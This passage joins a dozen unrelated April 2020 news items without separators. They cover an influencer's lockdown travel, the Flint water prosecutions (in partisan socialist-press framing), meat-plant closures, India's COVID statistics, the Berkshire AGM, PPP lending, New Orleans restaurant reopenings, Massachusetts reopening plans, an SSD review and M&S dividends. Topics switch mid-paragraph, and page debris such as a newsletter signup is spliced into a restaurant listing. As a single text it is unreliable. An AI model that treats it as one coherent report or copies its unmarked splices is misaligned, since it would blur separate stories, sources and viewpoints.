Melbourne].' The mother-of-two supposedly has 'clearance' to travel for work during the COVID-19 pandemic, as millions of Australians stay at home to help flatten the curve. Working mum: Since March 21, the law graduate turned influencer has flown almost 6,000km on four round trips - but she insists they are all 'essential travel. Pictured at Crown Melbourne Brains and beauty: Stacey is setting up a postnatal depression charity in Melbourne, and also does 'essential service work' for a transport company there every second week Stacey, who lives in Adelaide with her two sons, Kosta and Kruz, was pictured in Melbourne on March 21, returning to her luxury Crown Towers suite. She was then spotted shopping for a Mercedes in the Victorian capital on April 4. On April 14, she was photographed strolling around Port Melbourne joined by a male friend and a personal security guard. On Monday, Stacey made the 750km journey from Adelaide to Melbourne yet again, which means she will have travelled 6,000km in five weeks once she returns. Business and leisure! The mother-of-two shared this picture to Instagram of herself taking a bath in her luxury Crown Towers suite in early April Daily exercise: On April 14, she was photographed strolling around Port Melbourne joined by a male friend and a personal security guard (left) Stacey announced on Saturday she was launching a nonprofit postnatal depression charity called Not Alone, Always Here Inc., based in Melbourne. She said of the new venture: 'I have started my own charity. It's for postnatal depression. It's to target people who don't understand the symptoms, they don't understand what they're enduring and going through.' Stacey, who suffered postnatal depression herself, added: 'I think there is a much greater need for it, now more than ever because of this pandemic.' Saturday marked six years since the man-made health disaster hit the city of Flint, Michigan, which was set into motion by state officials at the highest levels and abetted by lower level functionaries in federal, state and local agencies responsible for the safety of drinking water. Not a single official has been convicted or served a single day of prison time for the lead poisoning of the population of almost 100,000 and one of the worst outbreaks of Legionnaires disease in US history, likely causing the deaths of more than 100 people. Solicitor General Fadwa Hammoud and Wayne County Prosecutor Kym Worthy, who head the Michigan Attorney Generals Office Flint Water Prosecution Team, issued a statement on April 17 that the prosecutions remain on track. They asserted "April 25, 2014, is a significant date in the history of the Flint Water Crisis. However, we want to correct the misconception that April 25, 2020 is the deadline to bring charges against those who may be criminally liable. This contradicts the statement they themselves made last June at a Flint public meeting that the team had only nine months to file new charges due to the six-year statute of limitations. The Democratic Attorney Generals Office was compelled to call that meeting weeks after dropping the charges on the remaining eight of the 15 defendants charged with crimes due to supposedly weak evidence. Flint residents were outraged that after more than five years and tens of million of dollars, there remained no criminal prosecutions for the poisoning of their water. Now it is six years, and the claim that we are delivering on our commitment to the people of Flint remains a chimera. The first criminal indictments relating to the water crisis were filed in April, 2016 with great fanfare by Michigan Republican Attorney General Bill Schuette. The state hired Todd Brooks as special prosecutor to lead the investigation, which, according to Schuette, would go as high in the chain of command as evidence would lead, declaring, The laws apply to everyone, equally, no matter who you are. Period. Three lower-level officials were indicted. Flint residents, who were not allowed in the press conference, protested with signs demanding the indictment of Governor Rick Snyder. By June, 2017 three more sets of indictments were announced, bringing the total number of defendants to 15. Based on emails and communications that had already been made public, the professed follow the evidence strategy could have led to Snyders inner circle, but the investigation took a different course after the June 2017 indictments of state health department officials Nick Lyon and Eden Wells. Despite having no involvement with the decisions that resulted in the poisoning of Flint, Lyon and Wells became the entire focus of the investigation until the end of term of he Snyder administration. Obviously hoping to capitalize on the Flint investigation, Schuette ran a failed campaign for governor in 2018. Democrat Gretchen Whitmer was elected to the governors office in November and Dana Nessel, also a Democrat, was elected state Attorney General. The lame duck Schuette then oversaw the plea-bargaining of key defendants, severely damaging the prosecution of higher-level officials and letting these officials off the hook under double jeopardy protections. They included: Stephen Busch of the Michigan Department of Environmental Quality (MDEQ) who falsely reported to other agencies that corrosion control measures were being applied to Flint River water. MDEQ District Engineer Michael Prysby who ordered that corrosion control not be used in violation of federal drinking water laws. Liane Shekter-Smith, the MDEQ director of the Office of Drinking Water, who told Flint residents that a whistle-blowing Environmental Protection Agency expert was being silenced for exposing the malfeasance of the MDEQ, was fired in 2015. Adam Rosenthal from the MDEQ ordered the collection of falsified samples to supposedly prove that Flint water met federal safety standards. Nessel appointed Hammoud and Worthy to prosecute Flint water crimes. Within six months of inauguration of the new Democratic administration, all charges for the eight remaining defendants were dropped without prejudice, allowing them to be charged again at a later date. In response to the dropping of charges, Dr. Marc Edwards, who led the 2015 independent water sampling effort to disprove authorities claims that the water was safe to drink, penned an editorial on his Flint Water Study website. He stated that he was not surprised at the dropping of all criminal prosecutions: There are possible crimes associated with the original decision to use Flint River water, elevated lead in childrens blood lead due to an acknowledged failure to follow Federal law, deaths from Legionnaires disease, and a cover up of water quality problems that occurred in 2014 and 2015. Yet Flood decided to prosecute a crime that allegedly occurred on a State-funded research grant after the Federal Emergency was declared, based on testimony of professors who did nothing of substance in Flint until late 2016. The professors Edwards refers to are members of FACHEP (Flint Area Community Health and Environment Partnership), the body awarded a grant of millions by the Snyder administration to provide independent scientific oversight over Flint water recovery. Interested readers can find more information on Edwards website. Citing inability to comment on an ongoing investigation, the water prosecution team expects the public to accept as good coin the claim that they will be prosecuting those responsible and that the significance of the statute of limitations they had originally cited as a deadline is a misconception. The day before the announcement by Hammoud and Worthy, the website VICE published an article, characterized as a bombshell, written by Jordan Chariton and Jenn Dize. The 9,000-word article is largely a recap of what is already publicly known about the Flint catastrophe, but it contains a couple of significant revelations. The first new revelation is that former Flint mayor Karen Weaver was approached by Snyder during Whitmers inauguration in January, 2019 to request that Weaver use her influence to encourage US Congressman Elijah Cummings, who at the time was the incoming chairman of the US House Oversight Committee, to back off on his investigation. As a subpoenaed witness before the March, 2016 oversight committee session, Snyder testified that he was unaware of problems with Flints water until one day before he announced the switch back to Detroit water, Cummings was very suspicious. The World Socialist Web Site reported at the time: Snyder, one of the most culpable figures in the crisis, sought to spread the guilt around as widely as possible. This was a failure of government at all levels, Snyder declared. Local, state and federal officialswe all failed the families of Flint. On the state level, Snyder pointed to negligence by career bureaucrats for failing to inform him of the dangers. In reality, Snyder was warnedrepeatedly. US Rep. Elijah Cummings, the Democrat from Maryland, noted that Snyder received an internal email in October 2014 from his head legal adviser recommending that Flint get back on the Detroit (water) system as soon as possible before this thing gets too far out of control. The governor did not order the city to switch its water source until a year later. Local media reported in February, 2016, that Valerie Brader, Snyders senior policy adviser, and Chief Legal Counsel Mike Gadola warned Snyder in October 2014, less than six months after the switch to Flint River water, that use of the water was downright scary. This was around the same time that the General Motors Engine Plant independently made its own arrangements to leave Flints water system due to its corrosive effect on engine parts. When Snyder approached her, Weaver had already been speaking with Cummings about pursuing the investigation and had no intention of acceding to Snyders request. Cummings died last October and apparently so did his investigation. After the publication of the VICE report, Weaver did a video interview with local news that corroborated the account that she was approached by Snyder. The VICE report also revealed that during a confidential investigative subpoena interview with Todd Flood in October, 2016, Brader revealed that Snyders right-hand man, Rich Baird, was involved in a conversation about the water, in contradiction to his public testimony. The VICE article asserts that a source familiar with the criminal investigation said Brader also revealed that afterward, Baird warned her to never again send an email like the water warning again. Today, six years after the start of the poisoning of Flints water, the trial and punishment of officials like Snyder and his henchmen like Baird, who are responsible for the class crime, is treated like a carrot perpetually dangled in front of the population to lure them with illusions in the progressive motivations of the Democratic Party. Despite the dismal fiasco of their investigation, Attorney General Nessel said in a statement about the prosecutions: their commitment to the people of Flint is as strong today as it was the day they took up this important cause. The people of Flint, like myself, are fortunate to have Fadwa and Kym working on their behalf. This is nonsense. Are workers to believe that six years after the start of the Flint water crisis that justice for Flint residents is any closer than it was on day one? The full exposure of the crimes committed against the people of Flint and the holding to account of those responsible can only be achieved by the independent mobilization of the working class based on a socialist program. Hillary Clinton, who served as Secretary of State alongside Vice President Joe Biden in the Obama administration, will endorse the presumptive 2020 Democratic nominee for president on Tuesday. Clinton, the former first lady and former Democratic New York senator who lost the 2016 race to President Donald Trump, posted on Twitter that she will be the special guest at a Biden virtual town hall on Tuesday at 3 p.m. The tweet noted that shes excited. A little hint about who the surprise guest will be for @JoeBiden's 3pm ET town hall today: (She's excited.) pic.twitter.com/iGHo6a6G1s Hillary Clinton (@HillaryClinton) April 28, 2020 A source familiar with Clintons plans told CNN that she would announce an endorsement, becoming the latest in a series of Democratic leaders and former primary rivals to throw their support behind Biden, the longtime Delaware senator and President Barack Obamas close ally for two terms. The coronavirus pandemic is pushing the food supply chain to its limits. Plant shutdowns are leaving Americans dangerously close to seeing meat shortages at grocery stores. Meanwhile, farmers are facing the likely culling of millions of animals and mass burial graves could soon be dug across the heartland. "The food supply chain is breaking," said John Tyson, chairman of Tyson Foods Inc., the biggest U.S. meat company. Outbreaks are forcing the closure of some of the country's biggest slaughterhouses, where tens of thousands of animals are processed daily. As the plants shutter, producers are left with nowhere to sell their livestock. It's forcing farmers to make gut-wrenching decisions to dispose of their animals. The situation is so severe that the U.S. government is setting up a center partly to assist on "depopulation and disposal methods." "Millions of pounds of meat will disappear" as plants close, Tyson said in a blog post on the company's website. "In addition to meat shortages, this is a serious food waste issue. Farmers across the nation simply will not have anywhere to sell their livestock to be processed, when they could have fed the nation. Millions of animals - chickens, pigs and cattle - will be depopulated." His comments echoed warnings from Smithfield Foods Inc., the world's No. 1 pork producer, and JBS SA, the biggest global meat company, that consumers are likely to see meat shortfalls. Almost a third of U.S. pork capacity is down, and JBS said Sunday it will shutter another beef production facility in Wisconsin. Brazil, the world's No. 1 shipper of chicken and beef, saw its first major closure with the halt of a poultry plant, and key operations are also down in Canada, the latest being a British Columbia poultry plant. While hundreds of plants in the Americas are still running, the staggering acceleration of supply disruptions is alarming. Taken together, the U.S., Brazil and Canada account for about 65% of world meat trade. "It's absolutely unprecedented," said Brett Stuart, president of Denver-based consulting firm Global AgriTrends. "It's a lose-lose situation where we have producers at the risk of losing everything and consumers at the risk of paying higher prices. Restaurants in a week could be out of fresh ground beef." Meat prices are surging on the supply disruptions. U.S. wholesale beef has surged to a record, and wholesale pork soared almost 30% last week. Jersey Mike's Franchise Systems Inc., which has 1,750 stores across the U.S., is working with its ham supplier Clemens Food Group to ensure its supply of pork, something they sell quite a bit of in their sub sandwiches. "We're backing it up already because of the coming -- we feel -- the coming shortages," said Peter Cancro, chief executive officer. To be sure, some plants have restarted after testing workers and improving conditions, and most Brazilian facilities are still operating. Another point to consider: There haven't yet been big shutdowns in Europe. The European Union accounts for about a fifth of global meat exports, U.S. government data show. It should be noted that the output from a plant where infection pops up doesn't pose health concerns because by all accounts covid-19 isn't a food-borne illness. Products from a farm or a production plant with a confirmed case can still be sent out for distribution. But a production halt means that there are no new supplies. And these shutdowns are happening at a time when global meat supplies were already tight. China, the world's top hog producer, has been battling an outbreak of African swine fever, which destroyed millions of the country's pigs. Plus the virus is hitting production after some meat companies had already taken steps to slow output because of the closure of restaurants around the world. Inventories can provide some cushion, though they may not last long. Total American meat supplies in cold-storage facilities are equal to roughly two weeks of production. With most plant shutdowns lasting about 14 days for safety reasons, that further underscores the potential for deficits. Meanwhile, plants are also facing a labor crunch as employees fall ill. It's been reported that a large chicken-processing company was forced to kill 2 million of its birds earlier this month because of worker shortages. The U.S. Department of Agriculture announced it will establish a "coordination center" to help livestock and poultry producers hurt by plant closures. The USDA's Animal and Plant Health Inspection Service will offer "direct support to producers whose animals cannot move to market" and work with state veterinarians and other public officials "to help identify potential alternative markets" as plant shutdowns increase, according to a release posted on the agency's website. It's hard to say exactly why the virus is spreading so fast among meat-plant employees. Some analysts have cited the fact that these are usually low-paying jobs that are often filled by immigrants and migrants. That means workers can live in cramped quarters, with sometimes more than one family sharing the same dwelling -- so if one person gets sick, the disease can spread quickly. Employees are also in close proximity on the job, with the work on some processing lines being described as "elbow-to-elbow." Even if line speeds are slowed, workers spread out and shifts are staggered, there's still the chance of mingling in break rooms, hallways and shared transportation to often far-flung sites. These plants see thousands of people coming in and out every day -- it's basically the opposite of social distancing. At the same time, U.S. federal employees responsible for inspecting meat plants are falling ill. More than 100 inspection-service employees have tested positive for covid-19, the government confirmed. At least two deaths of inspectors have been reported. U.S. inspectors travel among facilities. That's adding to fears that shutdowns will keep occurring if a sick federal employee brings the infection to plants where there's not yet an outbreak. "During this pandemic, our entire industry is faced with an impossible choice: continue to operate to sustain our nation's food supply or shutter in an attempt to entirely insulate our employees from risk," Smithfield said in a statement Friday. "It's an awful choice; it's not one we wish on anyone." The Centre on Tuesday cited WHO data to reiterate the point that India was faring much better than the worst coronavirus affected countries in the world because of timely and cohesive containment efforts, including the two-phased 40-day-long nationwide lockdown and other curbs. The health ministry official present at the regular briefing by a joint panel of government officials on the status of Covid-19 in the country on Tuesday said that the combined data of top 20 coronavirus affected countries (excluding China and India) in the world gave a good measure of Indias success in relatively keeping the disease under a check. The health ministry official threw light on the logic behind the comparison by pointing out that the combined population of these 20 countries-- United States, Spain, Italy, UK, Russia, Turkey, Germany, France, Iran, Brasil, Belgium, Canada, Netherlands, Switzerland, Peru, Portugal, Ecuador, Sweden, Ireland and Saudi Arabia-- was close to Indias population, and therefore, offered some perspective on Indias virus-fighting efforts. According to the WHO data from yesterday, confirmed cases in those 20 countries are 84 times more than the positive cases in India. Similarly, the number of coronavirus deaths in these countries are 200 times more than the number of deaths reported in India, Agarwal said. As on Tuesday afternoon, the top 20 infected countries, China excluded, listed on the WHO dashboard have a combined tally in excess of two million at 2,402,403 while Indias total tally was at 27,892. According to the latest data offered by the government, India had a total of 29,435 confirmed positive cases on Tuesday, including 21,632, who were under active medical supervision and 6,868 people, who have been cured so far. Indias recovery rate of patients had increased by a few notches to reach 23.3%, Agarwal said. The HT Guide to Coronavirus COVID-19 He provided more statistics in support of governments claim of faring better than the worst and said the doubling rate of Covid-19 cases now stood at 10.2 days. He added further that no new cases were reported from 17 districts in the last 28 days. For Coronavirus Live Updates This year's iconic Berkshire Hathaway Annual Shareholder Meeting (AGM) in Omaha, Nebraska, where tens of thousands of global investors, corporate leaders and economists flock to hear Warren Buffett and Charlie Munger, will be different on two counts. While the AGM will be held virtually on May 2 - exclusively live-streamed by Yahoo Finance - only one of the 'two wise men' will connect with you online. Breaking the decade long tradition, Munger will give the AGM a miss. The Oracle of Omaha will be joined by Greg Abel, Berkshire's Vice Chairman-Non-Insurance Operations, the only two persons to be physically present at the virtual meeting. Buffett and Abel will have no prior knowledge of what questions will be asked. However, they will not discuss politics or specific investment holdings, informs Berkshire Hathaway in a release. Shareholders have already submitted the questions to three journalists Becky Quick, Carol Loomis and Andrew Ross Sorkin. "Mr Quick will ask those questions that the journalists decide are the most interesting and important," informs Berkshire. Know the IST schedule The AGM, dubbed as the 'Woodstock for Capitalists' is scheduled for May 2 at 3:45 PM central time. Taking into account India Standard Time (IST), it will kick off at 1:30 AM IST on May 3. Berkshire will release its first quarter earnings release and its quarterly report around 5:30 pm IST on May 2. You can access it on www.berkshirehathaway.com. Watch the live stream here You can watch the Berkshire Hathaway AGM live on the following link: https://finance.yahoo.com/brklivestream/ An audio replay of the meeting and accompanying interviews will be available via podcast on iTunes and other podcast stores from May 4. What to watch out in AGM The AGM is happening at a time when the world is grappling with coronavirus that not just led to a medical but also a financial crisis with analysts expecting a global recession worse than the Great Depression of 1929. Investors will be keen to hear Buffett's views on the pandemic who has been surprisingly quiet about the impact of global outbreak of COVID-19. Unlike the market crash post global financial crisis in 2008, when Buffett went on a buying spree, he has been laying low amid the ongoing crisis leaving investors to wonder about his outlook on markets and economy and how he intends to deploy Berkshire's $128 billion cash pile. The AGM 2020 could be an occasion where he spills some beans. Vice President for Microlending at Finanta Bank, Kersy Azocar (sitting in black sweater, left), in 2019. Read more Its a Philadelphia story as old as Ben Franklin with a coronavirus twist. When he came to Philadelphia 20 years ago, Diego Vivas went door to door, passing out pizza shop ad flyers to earn his bread. In 2012, he borrowed $80,000 for printing equipment to make the pizza flyers himself. By last winter, Vivas says, one of his companies, D.A.S. Inc., in Juniata Park, was printing handouts for most of the pizzerias in Philadelphia. A sister firm, Penta Ink Inc., designed the fliers. And his bilingual app, BitesCourt, helps customers summon delivery from their smartphones. But last month, Vivas had to lay off most of his staff of 25 in the coronavirus shutdown. He rushed to learn about the federal governments new Paycheck Protection Program forgivable loans if the money is used to pay for payroll and space over the next two months. Vivas called the bank that holds his checking accounts, Tompkins VIST, and piled up the PPP paperwork all my information and five years of taxes. Days went by, then a week. He was told to reapply online. Frustrated, I called four other banks, but they would only lend to current customers. Finally, a nonprofit serving Latino immigrant communities and other businesses, Finanta, which had financed a piece of his equipment loan eight years ago, took his application and approved a PPP loan of more than $100,000. Now I can start bringing back people, Vivas told me. Working in communities where many small-business owners worry about gettingbankers attention, Finanta and a similar, Lancaster-based lender, Community First Fund, have made $15 million in PPP loans to a total of 172 firms since April 6, in mostly Latino and African American communities across Philadelphia and Southeastern Pennsylvania. They approved 80% of the 212 firms that applied. Local banks such as Parke and Republic report similar approval ratios. By contrast, the nations biggest banks such as Bank of America, JPMorgan, and Wells Fargo each reported approving fewer than 10% of their PPP applications in the first round of the program. They hope for more in the second round, which began Monday. Four months ago, after 10 years in business, Silvia Paulino moved Silvia Bakery to larger quarters at 2530 N. Second St., in the Bloque de Oro Latino business district, where she could employ 12 people making sweet Dominican cakes, pastries, and flan quisqueya with vanilla and cheese. My workers are from all over like the United Nations," she told me in Spanish. But the shutdowns forced her to close the store, leaving her scrambling to fill orders from groceries and bodegas that stayed open until a Finanta loan for $200,000 helped her start paying the crew again. Similarly, Johaly Arias and Helfis Perezs Jojo Academy preschools in Crescentville and Olney sent home 95 young students and 16 full-time employees when the governor shut their doors. I saw this loan program in the news, and I called my accountant," and he reminded her about Finanta, where she had taken a business training class and prepped for an initial $25,000 business-opening loan last year. We qualified for $28,000 in PPP, and have resumed paying those staffers who were not receiving unemployment, Arias told me. ASK US: Do you have a question about the coronavirus and how it affects your health, work and life? Ask our reporters. These and other loans were a final achievement for Finanta founder and president Luis Mora, who plans to retire this spring, 24 years after opening the place. Finanta allied with another nonprofit, Community First Loan Fund of Lancaster, which has offices in Reading, Allentown, and other cities with large Latino populations, bundling customer applications to speed PPP loans to the federal Small Business Administration, which administers the program. And now the groups that hunted borrowers together, Finanta and Community First, plan to merge, Daniel Betancourt, president of 18-year-old Community First, told me. We can achieve much more in the market when we join forces, he said. Together we are stronger and more capable, Mora, Finantas founder, said in a statement. He plans to retire June 30. The funds have prospered with help from larger institutions, which are obligated by the federal Community Reinvestment Act to make credit available in poor and minority neighborhoods if they hope to have future mergers approved. Wells Fargo invested $3 million with Community First in February. JPMorgan invested $14.5 million in a group of nonprofit community development financial institutions including Community First, Finanta, and two others when it began opening branches in the Philadelphia market in 2018. Betancourt says his board isnt done growing: The fund is preparing to acquire a credit union charter so his deposits will be insured. He said the neighborhood had felt a vacuum when the 7,000 member Borinquen Federal Credit Union closed in 2011, a victim of fraud by a manager. Vivas, a native of Colombia, said hes pleased that Philadelphias vibrant immigrant business communities are finally drawing lenders interest. Indeed, Tompkins VIST bank called him Monday, as a second round of PPP loan approvals began. But I have my approval already, he said, laughing. The return of two historic New Orleans restaurants this week accounts for more than 200 combined years of history, while a cornerstone for casual eats in Metairie is making its own comeback. Napoleon House in the French Quarter (est. 1914) reopens Tuesday and Pascal's Manale Restaurant (est. 1913) reopened Monday, bringing back two legendary names in New Orleans hospitality, now configured for takeout under the current coronavirus restrictions. In Metairie, Caffe Caffe comes back Tuesday, to the cheers of its many regulars. These mark a wave of notable restaurants to return or announce plans to do so over the past two weeks, another illustration of the constant change and adaptation happening across the hospitality industry now. With shutdowns now set to continue through mid-May, with some adjustments, many have begun to change tactics and rethink their approach. A growing number of restaurants that had earlier shut down are reopening for takeout. Many operators report they've used the time to reassess and reconfigure. +10 Jazz Fest food inspires Faux Fest where restaurants, Hogs for the Cause teams feed others With Jazz Fest canceled this year, New Orleans is still finding plenty of ways to mark the days when it would have reigned. One is like a supe Below are details on these latest additions, along with more notable returns we reported earlier, including GW Fins, Rosedale, six BRG restaurants, Station 6 and Marjie's Grill. Napoleon House 500 Chartres St., 504-524-9752 Reopens Tuesday (April 28): The old house originally offered as refuge to French emperor Napoleon himself during his exile returns with its "eating in exile" menu, with muffulettas, po-boys and quarts and pints of staples like red beans and rice and gumbo, plus a frozen version of its Pimm's Cup cocktail in sizes from pint to half gallon and gallon. Call ahead to order. Tue.-Sat. 11 a.m.-5 p.m. Pascal's Manale Restaurant 1838 Napoleon Ave., 504-895-4877 Open now: The Uptown Creole-Italian classic reopened Monday with a takeout menu of many house specialties (yes, including the BBQ shrimp, a dish created here), and family-style meals to serve 6. The renowned oyster bar remains closed in these curbside days, though longtime shucker Thomas Stewart is now cooking in the kitchen. Mon.-Fri. 3-8 p.m. Caffe Caffe 3547 N. Hullen St., Metairie, 504-267-9190 Reopens Tuesday (April 28): The Beck family's popular Metairie cafe has been slinging salads and sandwiches alongside its coffee drinks since 1992. The North Hullen Street location is back for curbside service. Mon.-Sat. 11 a.m.-3 p.m. Order at caffecaffe.com (beginning April 28) Updates to some previous reports: GW Fins 808 Bienville St., 504-581-3467 Reopening Tuesday, April 28: The upscale seafood restaurant returns with three-course meals for curbside pick up, drawn from menu signatures (like lobster dumplings, parmesan-crusted sheepshead and scalibut, the scallops/halibut combo). The restaurant will also sell fresh fish and sauces to cook at home, prepared foods by item (soups, salads, sides, desserts) and bottles from its wine list. Open Tue.-Sat., meal pick up 4:30-7:30 p.m. (phone orders begin at 11 a.m.), fresh seafood and prepared foods pick up noon-7:30 p.m. Willa Jean 611 OKeefe Ave., 504-509-7334 Now open: Kelly Fields and her crew are cooking again as of Monday, April 27, for takeout and delivery, with a menu of sandwiches, toasts, baked goods and bread and family-sized meals. Daily 8 a.m.-4 p.m. Order here. Luke Vaccine news in your inbox Once a week we'll update you on the progress of COVID-19 vaccinations. Sign up today. e-mail address * Sign Up 333 St. Charles Ave., 504-378-2840 Now open: The CBD's Creole bistro reopened Monday, April 27 with a takeout and delivery menu of sandwiches (including the formidable Luke burger), Louisiana comfort food and family-style servings for four. Daily 11 a.m.-8 p.m. Order here. Domenica 123 Baronne St., 504-648-6020 Open now: The wood-fired ovens are lit again at this modern Italian restaurant inside the Roosevelt Hotel, as of Monday, April 27, serving a takeout and delivery menu of salumi and salads, pizza, pastas, famiy-style servings for four and kids dishes. Daily 11 a.m.-8 p.m. Order here. Pizza Domenica 4933 Magazine St., 504-301-4978; 3200 Banks St., 504-459-2072 Open now: Both locations reopened Friday, April 24, with takeout and delivery for pizza, salads and a few other dishes (garlic knots, roasted cauliflower). Open daily noon-9 p.m. Order here for Uptown, here for Mid-City Shaya 4213 Magazine St., 504-891-4213 Open now: The modern Israeli restaurant reopened April, 24 with takeout and delivery from a menu mixing signatures like hummus bowls, dips and sandwiches with family-style meals and dishes for kids. Open daily 11 a.m.-8 p.m. Order here. Rosedale 801 Rosedale St., 504-309-9595 Open now: Chef Susan Spicers casual neighborhood spot reopened Friday, April 24, with a menu mixing some signature dishes (turtle soup, Mondo peppadew shooters) and Jazz Fest-inspired dishes (cochon de lait po-boys, soft shell crab, Gulf fish meuniere), plus drinks. Open Fri.-Sun., 3-8 p.m. Order here. Station 6 105 Old Hammond Hwy., Metairie, 504-345-2936 Now open: Chefs Alison Vega-Knoll and Andrew Knoll reopened their modern Bucktown seafood restaurant April 23, for take-out and delivery, serving a version of their regular menu (smoked fish dip, salads, lamb burgers and salmon tacos, gumbo, blackened fish, soft shell crabs), plus a kids menu and drinks. Tue.-Sun. 3- 8 p.m. Order here. Marjies Grill 320 N. Broad St., 504-603-2234 Reopening April 30: Chef Marcus Jacobs and Caitlin Carney will reopen their South-by-southeast Asia hot spot with a takeout friendly version of its menu (slow-grilled meats, hot fried chicken, coal-roasted sweet potatoes), plus bottled sauces and batched drinks. Pick up of produce boxes from Poche Family Farm continues on Tuesdays (see pochefamilyfarm.com) and more grocery items coming soon. Open Thu.-Sun., pick up from 4-8 p.m. (orders taken beginning at noon), delivery to come. Ian McNulty: In good times we celebrate culture and heritage. In hard times we build it The festivals are silent this year, and music halls are closed. Parades are banned, bars are dry and restaurants are just eking along. Everyth Plans to reopen businesses, daycares and government agencies in Massachusetts lie in the hands of a 17-member advisory board that includes elected officials, public health experts and business leaders. Massachusetts was originally set to reopen May 4. Gov. Charlie Baker, who had not disclosed plans for reopening under that deadline, said Tuesday afternoon that the states non-essential businesses will remain closed to the public for another two weeks. Baker also announced the creation of the reopening advisory board, led by Lt. Gov. Karyn Polito and Secretary of Housing and Economic Development Mike Kennealy. We picked a fairly small group to ensure that this group could be productive and sharing their time, Baker said Tuesday during a news conference at the Massachusetts State House. There are many important voices that they will need to hear from as part of the conversations that will be led by the advisory board. The groups first meeting is Tuesday afternoon. The members have three weeks to turn in a report on reopening. The deadline, May 18, is the same date Baker set as the latest reopening date. The advisory board includes two other Baker administration officials: Department of Public Health Commissioner Monica Bharel and Transportation Secretary Stephanie Pollack, who is also CEO of MassDOT and a member of the Board of the Massachusetts Port Authority. Joining them are Easthampton Mayor Nicole LaChapelle, Lawrence Mayor Daniel Rivera and Boston Chief of Staff Kathryn Burton. The other 12 are business leaders from across Massachusetts, ranging from hospital and manufacturing executives to a bookstore owner. Aron Ain, CEO of Lowell-based Kronos Inc & Ultimate Software Carlo Zaffanella, vice president and general manager of Maritime & Strategic Systems at General Dynamics Mission Systems Corey Thomas, CEO of Boston-based Rapid 7 Rochelle Walensky, chief of infectious diseases at Massachusetts General Hospital Girish Navani, CEO and co-founder of Boston-based eClinicalWorks Joe Bahena, senior vice president of New Bedford-based Joseph Abboud Manufacturing Laurie Leshin, president of Worcester Polytechnic Institute Linda Markham, president of Cape Air Mark Keroack, president and CEO of Baystate Health Pamela Everhart, who heads regional public affairs and community relations at Fidelity Investments Steve DiFillippo, CEO of Davios Restaurants Wendy Hudson, owner of Nantucket Book Partners The advisory board will be tasked with advising the Baker administration on strategies to reopen the economy in various phases, based on a number of healthy and safety metrics. This is a phased opening. Its not going to be everybody all at once," Baker said. Polito said Tuesday afternoon that the board members will seek input from a variety of companies and shops, including women- and minority-owned businesses, for its report. Its incumbent on us to listen to all those voices from the biggest companies of Massachusetts, to the smallest on our main streets and in the neighborhoods of our communities and work together to address their concerns, but also support them with a safe reopening of their businesses, Polito said. Related Content: The PNY Pro Elite (CS2060) is a portable SSD that doesnt break the bank. In real-world testing, it performed on a par with pricier drives. It also comes with the requisite cables and Acronis True Image. The PNY Pro Elite (CS2060) is a portable SSD that doesnt break the bank. In real-world testing, it performed on a par with the Samsung T5, and even the newer T7 Touch, but it costs about $20 to $70 less. It comes with the requisite cables and Acronis True Image (one of the best backup programs you can buy), perhaps surpassing Samsungs amenities, so you miss out on nothing. Its a great value that earns our Editors Choice. This review is part of our ongoing roundup of the best external drives. Go there for information on competing products and how we tested them. Design and features The Pro Elite is available in three flavors: 250GB (currently $55 on AmazonRemove non-product link), 500GB (the capacity we tested, currently $80 on Amazon), and 1TB (currently $192.70 on AmazonRemove non-product link). Its a USB 3.1 Gen 2 (10Gbps) drive that measures 2.5 x 2.25 x 0.43 inches and weighs just a few ounces. Its available in a black that looks more like a dark slate-gray, if you care about such things. PNY includes both Type-A- and Type-C-to-Type-C cables, as well as a serial for Acroniss True Image backup software. Two musts and a generous add-on. As I said, youre not giving up any perks compared to the Samsung T5. The drive carries a three-year warranty and uses a Phison controller, though PNY wasnt disclosing the type of NAND employed. Given the capacity and state of the industry, its likely layered TLC. Performance The Pro Elite is a good performer. It didnt match the competitions numbers in CrystalDiskMark and AS SSD, but actually surpassed three of the four competing drives in real-life transfers. Go figure. Well take real-life anytime. IDG CrystalDiskMark 6 didnt think all that highly of the Pro Elite, but that didnt stop the drive from gathering very nice read and write times in our 48GB transfer tests. Longer bars are better. The news above didnt seem particularly positive, but our transfer tests, shown below, were rays of golden sunshine piercing the synthetic benchmark gloom. IDG Though the Pro Elite didnt measure up in the synthetic benchmarks, it outpaced everything but the SanDisk Extreme Portable Pro in our real-world copy tests. Shorter bars are better. When it comes to the real world, you give up nothing with the PNY Pro Elite SSD except when compared to the SanDisk Extreme Portable Pro, which is easily the fastest external USB SSD weve tested. Testing is performed on Windows 10 64-bit running on a Core i7-5820K/Asus X99 Deluxe system with four 16GB Kingston 2666MHz DDR4 modules, a Zotac (Nvidia) GT 710 1GB x2 PCIe graphics card, and an Asmedia ASM2142 USB 3.1 Gen 2 (10Gbps) card. Also on board are a Gigabyte GC-Alpine Thunderbolt 3 card and Softperfects Ramdisk 3.4.6, which is used for the 48GB read and write tests. A great deal The PNY Pro Elite SSD offers more bang for the buck than the Samsung T5 and its actually a little smaller. Its a great little portable SSD. That said, the Samsung T7s fingerprint scanner will be a nice perk for some, and the SanDisk Extreme Portable Pro offers a speed advantage for power users. Buy according to need. Marks & Spencer said it plans to scrap this year's dividend and take other steps to shore up its finances in order to cope with the impact of the coronavirus crisis. The company, which has already cut shareholder payouts for 2019, said it will save 210million from not paying out dividend for 2020. The decision is in contrast with Tesco's, which decided to pay its shareholders over 900million in dividends earlier this month. M&S also said that banks that lent it 1.1billion had agreed to 'substantially relax or remove covenant conditions' until September next year and that it can apply for the UK government's Covid Corporate Financing Facility - the loan scheme designed to help larger firms. Warning: M&S said its clothing division is likely to suffer 'materially subdued trading' for the rest of the year Shares in M&S rose 3.7 per cent to 97.88p in afternoon trading on Tuesday. The company, which has closed the clothing and home areas of its stores but is still selling food and goods online, warned that its clothing division - which was struggling even before the coronavirus outbreak - is likely to suffer 'materially subdued trading' for the rest of the year, even once the lockdown is lifted. And even its food business has suffered, having been hit by the closure of cafes and fewer people travelling around an in city centres, the company said. That's despite other supermarkets reporting rising sales as a result of the lockdown, with British shoppers spending an extra 524million on groceries compared with April last year. M&S said it was taking 'very significant measures' to 'change ways of working permanently' and will provide a further update on that when it publishes its preliminary full year results on 20 May. It has already warned that profits for the last financial year will fall short of the 440million which analysts had forecast before the crisis. Even its food business has suffered, having been hit by the closure of cafes and fewer people travelling around an in city centres, M&S said 'The crisis has created a very different way of working and rapid learning for the business at all levels,' M&S said. 'At the time of the results presentation we will outline measures being taken to accelerate the transformation programme and change ways of working permanently under our 'never the same again' programme currently being prepared for implementation.' M&S added it stood to benefit from its partnership with Ocado, which in September will switch to delivering Marks & Spencer products, 